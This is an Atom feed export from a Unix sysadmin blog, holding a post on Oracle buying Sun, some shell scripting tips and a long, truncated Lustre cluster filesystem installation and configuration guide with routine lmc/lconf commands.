<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7456767307160502225</id><updated>2012-01-24T20:39:34.275+08:00</updated><category term='Solaris'/><category term='SNMP'/><category term='FileSystem'/><category term='Jave ES'/><category term='Lustre'/><category term='Security'/><category term='Google'/><category term='News'/><category term='LDAP'/><category term='ZFS'/><title type='text'>Season in the Sun</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>26</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2603042820713183839</id><published>2009-04-20T20:54:00.004+08:00</published><updated>2009-04-20T21:30:58.229+08:00</updated><title type='text'>A whole new world</title><content type='html'>Oracle buys Sun Microsystem.&lt;br /&gt;&lt;br /&gt;What will it look like when Oracle MySQL and Berkeley DB come together?&lt;br /&gt;&lt;br /&gt;Which one is better Oracle Internet Directory(OID)  or Sun Directory Server?&lt;br /&gt;&lt;br /&gt;JAVA maybe is the only one that is needed by everyone&lt;br /&gt;&lt;br /&gt;What will the fate of Solaris be， another Linux or FreeBSD？&lt;br /&gt;&lt;br /&gt;Network is still computer， but Sun is no longer that Sun was.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2603042820713183839?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2603042820713183839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2603042820713183839' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2603042820713183839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2603042820713183839'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2009/04/whole-new-world.html' title='A whole new world'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-6869324276567095205</id><published>2009-04-03T12:13:00.009+08:00</published><updated>2009-04-13T09:53:09.797+08:00</updated><title type='text'>Shell Programming Tips</title><content type='html'>&lt;span style="font-weight: bold;font-family:georgia;" &gt;$Variables&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$n：$1the first parameter，$2 the second one ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;$#：number of parameters&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$0：name of current running program&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$?：return value of command or function just have been called&lt;br /&gt;&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;$*：save all the parameters as "parameter 1, parameter 2, ..."&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$@：&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;save all the parameters as "parameter 1", "parameter 2", ...&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$$：PID of this program&lt;/span&gt; &lt;span style="font-family:georgia;"&gt;&lt;br /&gt;$!：PID  of last program called by this program&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;read &lt;/span&gt;load value of variables from file&lt;br /&gt;#cat VERSION&lt;br /&gt;3.2.11&lt;br /&gt;&lt;br /&gt;IFS=.&lt;br /&gt;read MAJOR MINOR PATCH &lt;&gt; VERSION&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Using &amp;amp;&amp;amp;&lt;/span&gt;&lt;br /&gt;                                     express1 &amp;amp;&amp;amp; express2&lt;br /&gt;                                     the express right of  "&amp;amp;&amp;amp;" will be executed when the left one return true.&lt;br /&gt;Using ||&lt;br /&gt;                                     express1 || express2&lt;br /&gt;                                     the express right of  "&amp;amp;&amp;amp;" will be executed when the left one fail to execute.&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;trap&lt;br /&gt;&lt;/span&gt;trap " " 1 2 3   to ignore the SIGHUP SIGINT SIGQUIT signals&lt;br /&gt;trap : 1 2 3 to receive the SIGHUP SIGINT SIGQUIT signals&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-6869324276567095205?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/6869324276567095205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=6869324276567095205' title='234 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/6869324276567095205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/6869324276567095205'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2009/04/shell-programming-tips.html' title='Shell Programming Tips'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>234</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-5512501417104569419</id><published>2008-02-27T10:02:00.004+08:00</published><updated>2008-02-27T10:27:43.861+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FileSystem'/><category scheme='http://www.blogger.com/atom/ns#' term='Lustre'/><title type='text'>Lustre File System at a glance</title><content type='html'>Lustre is a very fast, multi-network, scalable cluster filesystem for Linux. It uses Object-Based Storage Devices (OBDs), to manage entire file objects (that is, inodes) instead of blocks. Several specific components/sub-systems of Lustre include &lt;span style="color: rgb(255, 0, 0);"&gt;Meta Data Servers (MDSs), Object Storage Targets (OSTs), and Lustre clients&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Lustre can be built from either a pre-packaged release or freely-available source code. Installing Lustre from a pre-existing package is quite straight-forward. Integrating Lustre into an existing kernel and building the associated Lustre software can be somewhat involved.&lt;br /&gt;&lt;br /&gt;Lustre has been extensively tested with a selected set of distributions on i386, ia64, and x86_64 architectures, and also tested on PowerPC/PowerPC64 machines.&lt;br /&gt;Lustre installation/configuration requires the following:&lt;br /&gt;&lt;br /&gt;* Linux kernel patched with Lustre-specific patches&lt;br /&gt;* Lustre modules compiled for the above kernel&lt;br /&gt;* Lustre utilities required for configuration&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Lustre Networking (LNET) software provides a network abstraction layer that simplifies using Lustre across multiple network types of. LNET and Lustre's administrative utilities require the following packages: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; &lt;b&gt;readline:&lt;/b&gt; Install the &lt;i&gt;-devel&lt;/i&gt; version of this package, which includes the header files. &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Lustre releases prior to version 1.6 also require: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; &lt;b&gt;libxml2:&lt;/b&gt; Install the &lt;i&gt;-devel&lt;/i&gt; version of this package. &lt;/li&gt;&lt;li&gt; &lt;b&gt;Python&lt;/b&gt;: &lt;a href="http://www.python.org/" class="external free" title="http://www.python.org" rel="nofollow"&gt;http://www.python.org&lt;/a&gt; &lt;/li&gt;&lt;li&gt; &lt;b&gt;PyXML&lt;/b&gt;: &lt;a href="http://pyxml.sourceforge.net/" class="external free" title="http://pyxml.sourceforge.net/" rel="nofollow"&gt;http://pyxml.sourceforge.net/&lt;/a&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Several advanced Lustre functions, such as server failover, require packages and configuration outside of the scope of this document.&lt;/p&gt;&lt;p&gt;The RPMs/tarballs available on &lt;a href="http://www.clusterfs.com/download.html" class="external text" title="http://www.clusterfs.com/download.html" rel="nofollow"&gt;download site&lt;/a&gt; for every Lustre release: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; &lt;b&gt;kernel-smp-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/b&gt; - Lustre-patched Linux kernel RPM; use with matching Lustre Utilities and Lustre Modules package below. &lt;/li&gt;&lt;li&gt; &lt;b&gt;lustre-modules-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/b&gt; - The Lustre kernel modules for the above kernel. &lt;/li&gt;&lt;li&gt; &lt;b&gt;lustre-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/b&gt; - Lustre Utilities - userspace utilities for configuring and running Lustre; please use only with matching kernel RPM, above. &lt;/li&gt;&lt;li&gt; &lt;b&gt;kernel-source-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/b&gt; - Lustre-patched Linux kernel source RPM - companion to the kernel package; not required to build or use Lustre &lt;/li&gt;&lt;li&gt; &lt;b&gt;lustre-source-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/b&gt; - Contains the Lustre source code (which includes the kernel patches), not required to build or use Lustre. &lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;Lustre requires a number of patches to the core Linux kernel, mostly to export new functions, add features to ext3, and add a new locking path to the VFS. You can either patch your kernel with patches from the Lustre source tarball or download pre-patch kernel RPM along with matching lustre-lite-utils RPM. &lt;/p&gt;&lt;p&gt;There are two methods to install the Lustre software: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; Install using RPMs (easy, but you must use a CFS kernel) &lt;/li&gt;&lt;li&gt; Install from source code (if you need your own kernel) &lt;/li&gt;&lt;/ol&gt;Using a Pre-patched Kernel RPM with Matching Lustre-utils RPM  &lt;ol&gt;&lt;li&gt; Install the kernel RPM &lt;i&gt;kernel-smp&lt;ver&gt;.rpm&lt;/ver&gt;&lt;/i&gt; &lt;/li&gt;&lt;li&gt; Install the Lustre modules &lt;i&gt;lustre-modules-&lt;release-ver&gt;.rpm&lt;/release-ver&gt;&lt;/i&gt; &lt;/li&gt;&lt;li&gt; Install the utilities RPM &lt;i&gt;lustre-&lt;ver&gt;.i386.rpm&lt;/ver&gt;&lt;/i&gt; &lt;/li&gt;&lt;li&gt; Update lilo.conf or grub.conf to boot your new kernel &lt;/li&gt;&lt;li&gt; Reboot&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The source code tarball for Lustre is located at: &lt;a href="http://www.clusterfs.com/download.html" class="external text" title="http://www.clusterfs.com/download.html" rel="nofollow"&gt;download site&lt;/a&gt;. As described above, Lustre requires a Linux kernel patched with some Lustre patches. A Lustre-patched kernel can be obtained in two ways: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; Patching a core kernel with the relevant kernel patches from this source code tarball following instructions at: &lt;a href="http://wiki.lustre.org/index.php?title=Kernel_Patch_Management" class="external text" title="http://wiki.lustre.org/index.php?title=Kernel_Patch_Management" rel="nofollow"&gt;kernel patch management wiki&lt;/a&gt;. &lt;/li&gt;&lt;li&gt; Installing the pre-patched kernel RPM located at: &lt;a href="http://www.clusterfs.com/download.html" class="external text" title="http://www.clusterfs.com/download.html" rel="nofollow"&gt;download site&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;In general, CFS recommends that you obtain the pre-patched Lustre kernel RPM from &lt;a href="http://www.clusterfs.com/download.html" class="external text" title="http://www.clusterfs.com/download.html" rel="nofollow"&gt;download site&lt;/a&gt;. If you want to patch your own kernel: &lt;/p&gt;&lt;p&gt;1. Install &lt;i&gt;quilt&lt;/i&gt; utility for patch management. &lt;/p&gt;&lt;p&gt;2. Copy the .config file in your kernel source, as it will be deleted in this process! &lt;/p&gt;3. Refer to the &lt;i&gt;lustre/kernel_patches/which_patch&lt;/i&gt; file to determine which patch series best fits your kernel. &lt;p&gt; &lt;/p&gt;The example below shows a sample &lt;i&gt;which_patch&lt;/i&gt; file:&lt;br /&gt;&lt;pre&gt;          SERIES               MEMNONIC                  COMMENT&lt;br /&gt;         vanilla-2.4.24       linux-2.4.24              patch includes UML&lt;br /&gt;         rhel-2.4.21          linux-rhel-2.4.21-15      RHEL3 2.4.21&lt;br /&gt;         2.6-suse             linux-2.6.5               SLES9 2.6.5&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;4. Unsupported kernels may have patches at the &lt;a href="http://www.lustreusers.org/download.html" class="external text" title="http://www.lustreusers.org/download.html" rel="nofollow"&gt;Lustre Users Group&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;5. Follow the instructions in &lt;a href="http://wiki.lustre.org/index.php?title=Kernel_Patch_Management" class="external text" title="http://wiki.lustre.org/index.php?title=Kernel_Patch_Management" rel="nofollow"&gt;KernelPatchManagement&lt;/a&gt; to patch the kernel Once the kernel is patched, rebuild the kernel as follows: &lt;/p&gt;&lt;p&gt;a. make distclean (this step is important!) (make sure to include jbd and ext3 support in the kernel or in a module) &lt;/p&gt;&lt;p&gt;b. cp save-dot-config .config &lt;/p&gt;&lt;p&gt;c. make oldconfig dep bzImage modules (make sure that preemption is disabled (in 2.6), and modules are enabled) &lt;/p&gt;&lt;p&gt;d. update lilo.conf or grub/menu.lst &lt;/p&gt;&lt;p&gt;e. Reboot with the new kernel.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;CFS suggests that you download the tarball for Lustre source code and extract the contents as in the following example (this example assumes that you are using Lustre v1.0):&lt;br /&gt;&lt;br /&gt;src$ tar zxvf lustre-&lt;release-ver&gt;.tar.gz&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The following are sample build instructions for Lustre:&lt;br /&gt;&lt;br /&gt;Note: If you are using a CVS checkout, you will need to run the following to create the configure script (automake version 1.5 or greater is necessary):&lt;br /&gt;&lt;br /&gt;lustre$ sh autogen.sh&lt;br /&gt;&lt;br /&gt;If you are building Lustre against a pre-patched kernel-source RPM for an already-built kernel RPM, there are a few steps to do first. Otherwise, if you have already built the kernel you can skip these steps.&lt;br /&gt;&lt;br /&gt;[linux]$ cp /boot/config-`uname -r` .config&lt;br /&gt;[linux]$ make oldconfig || make menuconfig&lt;br /&gt;# For 2.6 kernels&lt;br /&gt;[linux]$ make include/asm&lt;br /&gt;[linux]$ make include/linux/version.h&lt;br /&gt;[linux]$ make SUBDIRS=scripts&lt;br /&gt;# For 2.4 kernels&lt;br /&gt;[linux]$ make dep&lt;br /&gt;&lt;br /&gt;Now to build the Lustre RPMs:&lt;br /&gt;&lt;br /&gt;$ cd /your/source/for/lustre&lt;br /&gt;[lustre]$ ./configure --with-linux=/your/patched/kernel/sources&lt;br /&gt;[lustre]$ make rpms&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Patchless client&lt;br /&gt;&lt;br /&gt;The Lustre client (only!) can be built against an unpatched 2.6.15-16 kernel. This results in some small performance losses, but may be worthwhile to some users for maintenance reasons. The Lustre configure script will automatically detect the unpatched kernel and disable building the servers.&lt;br /&gt;&lt;br /&gt;[lustre]$ ./configure --with-linux=/unpatched/kernel/source&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Lustre system consists of 3 types of subsystems - Clients, a Metadata Server (MDS), and Object Storage Targets (OST's). All of these can co-exist on a single system or can be running on different systems. A Lustre client system can also optionally contain a Logical (Object) Volume manager (LOV) that can transparently manage several OST's; this component is required for achieving file striping.&lt;br /&gt;&lt;br /&gt;It is possible to set up the Lustre system in many different configurations using the administrative utilities provided with Lustre. Lustre includes some sample scripts in the /usr/src/lustre-1.4.7/lustre/tests directory on a system where Lustre has been installed (or the lustre/tests subdirectory of a source code installation) that enable quick setup of some simple, standard configurations.&lt;br /&gt;&lt;br /&gt;Note - if your distribution does not contain these examples, skip down do the "Using Supplied Configuration Tools" section. Verify your mounted system as below.&lt;br /&gt;&lt;br /&gt;This section provides an overview of using these scripts to set up a simple Lustre installation.&lt;br /&gt;&lt;br /&gt;1. Single System Test using the llmount.sh script:&lt;br /&gt;&lt;br /&gt;The simplest Lustre installation is a configuration where all three subsystems execute on a single node. You can execute the script llmount.sh, located in the /usr/src/lustre-1.4.7/lustre/tests/ directory, to set up, initialize, and start the Lustre file system for a single node system. This script first executes a configuration script identified by a 'NAME' variable. This configuration script uses the lmc utility to generate a XML configuration file, which is then used by the lconf utility to do the actual system configuration. The llmount.sh script then loads all of the modules required by the specified configuration.&lt;br /&gt;&lt;br /&gt;Next, the script creates small loopback filesystems in /tmp for the server nodes. You can change the size and location of these files by modifying the configuration script.&lt;br /&gt;&lt;br /&gt;Finally, the script mounts the Lustre file system at the mount-point specified in the initial configuration script, the default used is /mnt/lustre. The following are all of the steps needed to configure and test Lustre for a single system: The llmount.sh script is mostly useful for initial testing with Lustre to hide many of the background steps needed to configure Lustre, it is not indended to be used as a configuration tool for production installations.&lt;br /&gt;&lt;br /&gt;a. Starting the System: Two initial configuration scripts are provided for a single system test. Any changes to the loopback filesystem locations or sizes, or Lustre filesystem mountpoint have to be made in these scripts. i. local.sh: This script contains lmc commands that generate an XML (local.xml) configuration file for a system with a single MDS, OST, and Client. ii. lov.sh: This script contains lmc commands that generate a configuration file with an MDS, LOV, two OST's and a Client.&lt;br /&gt;&lt;br /&gt;b. Execute the llmount.sh script as shown below, specifying setup based on either local.sh or lov.sh:&lt;br /&gt;&lt;br /&gt;  NAME={local|lov} sh llmount.sh&lt;br /&gt;  Sample output from executing this command on a random system looks like the following:&lt;br /&gt;          &lt;br /&gt;  # NAME=local sh llmount.sh&lt;br /&gt;  config.portals ../utils/../portals&lt;br /&gt;  loading module: portals srcdir ../utils/../portals devdir libcfs&lt;br /&gt;  loading module: ksocknal srcdir ../utils/../portals devdir knals/socknal&lt;br /&gt;  loading module: obdclass srcdir ../utils/.. devdir obdclass&lt;br /&gt;  loading module: ptlrpc srcdir ../utils/.. devdir ptlrpc&lt;br /&gt;  loading module: ldlm srcdir ../utils/.. devdir ldlm&lt;br /&gt;  loading module: ost srcdir ../utils/.. devdir ost&lt;br /&gt;  loading module: fsfilt_ext3 srcdir ../utils/.. devdir obdclass&lt;br /&gt;  loading module: obdfilter srcdir ../utils/.. devdir obdfilter&lt;br /&gt;  loading module: mds srcdir ../utils/.. devdir mds&lt;br /&gt;  loading module: osc srcdir ../utils/.. devdir osc&lt;br /&gt;  loading module: mdc srcdir ../utils/.. devdir mdc&lt;br /&gt;  loading module: llite srcdir ../utils/.. devdir llite&lt;br /&gt;  The GDB module script is in /r/tmp/ogdb-localhost.localdomain&lt;br /&gt;  NETWORK: NET_localhost_tcp NET_localhost_tcp_UUID tcp localhost 988&lt;br /&gt;  LDLM: ldlm ldlm_UUID&lt;br /&gt;  OSD: ost1 ost1_UUID obdfilter /tmp/ost1 200000 ext3 no 0&lt;br /&gt;  MDSDEV: mds1 mds1_UUID /tmp/mds1 ext3 no&lt;br /&gt;  OSC: OSC_localhost.localdomain_ost1_MNT_localhost 2dd80_OSC_localhost.local_6c1af22326 ost1_UUID&lt;br /&gt;  MDC: MDC_localhost.localdomain_mds1_MNT_localhost 4d135_MDC_localhost.local_771336bde1 mds1_UUID&lt;br /&gt;  MTPT: MNT_localhost MNT_localhost_UUID /mnt/lustre mds1_UUID ost1_UUID&lt;br /&gt;  #&lt;br /&gt;&lt;br /&gt;You can the verify that the file system has been mounted from the output of df:&lt;br /&gt;&lt;br /&gt;  # df&lt;br /&gt;  Filesystem           1K-blocks      Used Available Use%  Mounted on&lt;br /&gt;  /dev/ubd/0             1011928    362012    598512  38%  /&lt;br /&gt;  /dev/ubd/1             6048320   3953304   1787776  69%  /r&lt;br /&gt;  none                    193712     16592    167120  10%  /mnt/lustre&lt;br /&gt;     &lt;br /&gt;  #&lt;br /&gt;&lt;br /&gt;Note: The output of the df command following the output of the script shows that a Lustre filesystem as been mounted on the mount-point /mnt/lustre. The actual output of the script included with your Lustre installation may have changed due to enhancements or additional messages, but should resemble the example.&lt;br /&gt;&lt;br /&gt;You can also verify that the Lustre stack has been set up correctly by observing the output of find /proc/fs/lustre:&lt;br /&gt;&lt;br /&gt;  # find /proc/fs/lustre&lt;br /&gt;                              &lt;br /&gt;  /proc/fs/lustre&lt;br /&gt;  /proc/fs/lustre/llite&lt;br /&gt;  ....&lt;br /&gt;  /proc/fs/lustre/ldlm/ldlm/ldlm_canceld/service_stats&lt;br /&gt;  /proc/fs/lustre/ldlm/ldlm/ldlm_cbd&lt;br /&gt;  /proc/fs/lustre/ldlm/ldlm/ldlm_cbd/service_stats&lt;br /&gt;        &lt;br /&gt;   #&lt;br /&gt;&lt;br /&gt;Note: The actual output may depend on what modules are being inserted and what OBD devices are being instantiated. Also note that the filesystem statistics presented from /proc/fs/lustre are expected to be the same as those obtained from df.&lt;br /&gt;&lt;br /&gt;c. Bringing down a cluster and cleanup using script llmountcleanup.sh:&lt;br /&gt;&lt;br /&gt;Cleanup and unmounting of the filesystem can be done as shown below:&lt;br /&gt;&lt;br /&gt;NAME=&lt;local/lov&gt; sh llmountcleanup.sh&lt;br /&gt;&lt;br /&gt;d. Remounting the Filesystem using script llrmount.sh:&lt;br /&gt;&lt;br /&gt;Remounting can be done with the llrmount.sh script as shown below. Using llmount.sh again will reformat the devices so llrmount.sh should be used if you want to keep the data in the filesystem:&lt;br /&gt;&lt;br /&gt;NAME=&lt;local/lov&gt; sh llrmount.sh&lt;br /&gt;&lt;/p&gt;&lt;p&gt;As described in earlier sections, Lustre uses clients, a metadata server, and object storage targets. It is possible to set up Lustre on either a single system or on multiple systems. The Lustre distribution comes with utilities that can be used to create configuration files easily and set up Lustre for various configurations. Lustre uses three administrative utilities - lmc, lconf, and lctl - to configure nodes for any of these topologies. The lmc utility can be used to create configuration files in the form of XML files that describe a configuration. The lconf utility uses the information in this configuration file to invoke low-level configuration utility lctl to actually configure systems. Further details on these utilities can be found in the man pages. The complete configuration for the whole cluster should be kept in a single file. The same file will be used on all the cluster nodes to configure the individual nodes.&lt;br /&gt;&lt;br /&gt;The next few sections describe the process of setting up a variety of configurations.&lt;br /&gt;&lt;br /&gt;Note: you can use "lconf -v" to show more verbose messages when running other lconf commands.&lt;br /&gt;&lt;br /&gt;Important: You must use fstype = ext3 for Linux 2.4 kernels, and fstype = ldiskfs for 2.6 kernels. (In 2.4, Lustre patches the ext3 driver, and in 2.6 provides its own.)&lt;br /&gt;&lt;br /&gt;1. Client, MDS, and two OSTs on a single node:&lt;br /&gt;&lt;br /&gt;This is a simple configuration script where the client, MDS, and the OSTs are running on a single system. The lmc utility can be used to generate a configuration file for this as shown below. All the devices in the script below are shown to be loopback devices, but you can specify any device here. The size option is required only for the loopback devices; for others the utility will extract the size from the device parameters. (See Using Real Disks below).&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt; &lt;br /&gt;# local.sh&lt;br /&gt; &lt;br /&gt;# Create node&lt;br /&gt;rm -f local.xml&lt;br /&gt;lmc -m local.xml --add node --node localhost&lt;br /&gt;lmc -m local.xml --add net --node localhost --nid localhost --nettype tcp&lt;br /&gt; &lt;br /&gt;# Configure MDS&lt;br /&gt;lmc -m local.xml --format --add mds --node localhost --mds mds-test --fstype ext3 --dev /tmp/mds-test --size 50000&lt;br /&gt; &lt;br /&gt;# Configure OSTs&lt;br /&gt;lmc -m local.xml --add lov --lov lov-test --mds mds-test --stripe_sz 1048576 --stripe_cnt 0 --stripe_pattern 0&lt;br /&gt;lmc -m local.xml --add ost --node localhost --lov lov-test --ost ost1-test --fstype ext3 --dev /tmp/ost1-test --size 100000&lt;br /&gt;lmc -m local.xml --add ost --node localhost --lov lov-test --ost ost2-test --fstype ext3 --dev /tmp/ost2-test --size 100000&lt;br /&gt;  &lt;br /&gt;# Configure client&lt;br /&gt;lmc -m local.xml --add mtpt --node localhost --path /mnt/lustre --mds mds-test --lov lov-test&lt;br /&gt;&lt;br /&gt;When this script is run these commands create a local.xml file describing the specified configuration. The actual configuration could then be executed using the following command:&lt;br /&gt;&lt;br /&gt;# Configuration using lconf&lt;br /&gt;$ sh local.sh&lt;br /&gt;$ lconf --reformat local.xml&lt;br /&gt;&lt;br /&gt;This command would load all the required Lustre and Portals modules, and would also do all the low level configuration of every device using lctl. The reformat option here is essential at least the first time to initialize the filesystems on OST's and MDS's. If it is used on any subsequent attempts to bring up the Lustre system, it will re-initialize the filessystems.&lt;br /&gt;&lt;br /&gt;2.Multiple Nodes&lt;br /&gt;&lt;br /&gt;Lustre can also be set up on multiple systems, with the client on one or more systems, the MDS on another system, and the OSTs on yet other nodes. The following is an example of the configuration script that could be used to create such a setup. In the below examples, replace node-* with the hostnames of real systems. The servers, clients, and the node running the configuration script all need to be able to resolve those hostnames into IP addresses via DNS or /etc/hosts. One common problem with some Linux setups is that the hostname is mapped in /etc/hosts to 127.0.0.1, which causes the clients to be unable to communicate to the servers.&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;# config.sh&lt;br /&gt; &lt;br /&gt;# Create nodes&lt;br /&gt;rm -f config.xml&lt;br /&gt;lmc -m config.xml --add net --node node-mds --nid node-mds --nettype tcp&lt;br /&gt;lmc -m config.xml --add net --node node-ost1 --nid node-ost1 --nettype tcp&lt;br /&gt;lmc -m config.xml --add net --node node-ost2 --nid node-ost2 --nettype tcp&lt;br /&gt;lmc -m config.xml --add net --node node-ost3 --nid node-ost3 --nettype tcp&lt;br /&gt;lmc -m config.xml --add net --node client --nid '*' --nettype tcp&lt;br /&gt;&lt;br /&gt;# Cofigure MDS&lt;br /&gt;lmc -m config.xml --add mds --node node-mds --mds mds-test --fstype ext3 --dev /tmp/mds-test --size 50000&lt;br /&gt;&lt;br /&gt;# Configures OSTs&lt;br /&gt;lmc -m config.xml --add lov --lov lov-test --mds mds-test --stripe_sz 1048576 --stripe_cnt 0 --stripe_pattern 0&lt;br /&gt;lmc -m config.xml --add ost --node node-ost1 --lov lov-test --ost ost1-test --fstype ext3 --dev /tmp/ost1-test --size 100000&lt;br /&gt;lmc -m config.xml --add ost --node node-ost2 --lov lov-test --ost ost2-test --fstype ext3 --dev /tmp/ost2-test --size 100000&lt;br /&gt;lmc -m config.xml --add ost --node node-ost3 --lov lov-test --ost ost3-test --fstype ext3 --dev /tmp/ost3-test --size 100000&lt;br /&gt;&lt;br /&gt;# Configure client (this is a 'generic' client used for all client mounts)&lt;br /&gt;lmc -m config.xml --add mtpt --node client --path /mnt/lustre --mds mds-test --lov lov-test&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Generate the config.xml (once).  Put the file in a place where all nodes can get to it.&lt;br /&gt;$ sh config.sh&lt;br /&gt; &lt;br /&gt;# Start up OST's first&lt;br /&gt;$ lconf --reformat --node node-ost1 config.xml&lt;br /&gt;$ lconf --reformat --node node-ost2 config.xml&lt;br /&gt;$ lconf --reformat --node node-ost3 config.xml&lt;br /&gt; &lt;br /&gt;# Then MDS's (which try to connect to the OST's)&lt;br /&gt;$ lconf --reformat --node node-mds config.xml&lt;br /&gt; &lt;br /&gt;# And finally clients (which try to connect to OST's and MDS's). &lt;br /&gt;$ lconf --node client config.xml&lt;br /&gt;# Or use 0-config "mount" command for clients (see below)&lt;br /&gt;$ mount -t lustre node-mds:/mds-test/client /mnt/lustre&lt;br /&gt;&lt;br /&gt;Startup of clients and servers using lconf can actually occur in any order, but startup may block until all the servers that the node needs are up and communicating.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Lustre can use any physical device that can be formatted as an EXT3 filesystem. An entire scsi drive could be specified as --dev /dev/sdb, or a single partition could be specified as /dev/sdb2. The --reformat option to lconf will completely erase and reformat the drive or partition for use with Lustre - &lt;b&gt;use with caution&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lustre provides support for mounting the Lustre file system using a simple NFS-like mount command. The client configuration information is recorded on the MDS when the MDS is reformatted. Subsequently, when a mount command is invoked on the client, the configuration log on the MDS is read and the required devices setup and configured on the client. The filesystem mount-point is specified in the mount command. The XML file is not needed for 0-config clients. In order to support 0-config, you will have to modify your modprobe-configuration so that modprobe know how to load the modules for Lustre. The mount command will be similar to:&lt;br /&gt;&lt;br /&gt;mount -t lustre [-o nettype=&lt;nettype&gt;] mdshost:/mdsname/client-profile &lt;lustre-mount-point&gt;&lt;br /&gt;&lt;br /&gt;A network type of tcp is the default. The client-profile is the client node name (passed as --node argument to lmc). Please note that for 0-config to work, the node must have a mount-point entry specified with lmc's --add mtpt command. The lustre/conf/modules.conf file illustrates the changes that need to be made to your modules.conf file for 0-config on 